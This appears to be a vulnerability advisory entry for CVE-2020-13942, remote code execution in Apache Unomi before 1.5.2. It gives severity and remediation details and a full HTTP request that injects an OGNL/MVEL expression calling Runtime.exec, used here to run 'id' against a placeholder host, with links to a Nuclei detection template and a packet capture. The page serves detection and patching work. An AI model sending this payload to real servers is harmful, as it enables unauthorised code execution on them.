| Title | Apache Unomi <1.5.2 - Remote Code Execution |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can allow an attacker to execute arbitrary code on the affected server. |
| Remediation | Apache Unomi users should upgrade to 1.5.2 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9432 |
| CVE ID | CVE-2020-13942 |
| CWE ID | CWE-74,CWE-20 |
| Tags | cve cve2020 apache rce vkev vuln |
Apache Unomi allows conditions to use OGNL and MVEL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process. This vulnerability affects all versions of Apache Unomi prior to 1.5.2.
POST /context.json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 344
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{
"filters": [
{
"id": "nvppa",
"filters": [
{
"condition": {
"parameterValues": {
"nuclei": "script::Runtime.getRuntime().exec('id')"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "nuclei"
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13942.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13942.pcap
N/AN/A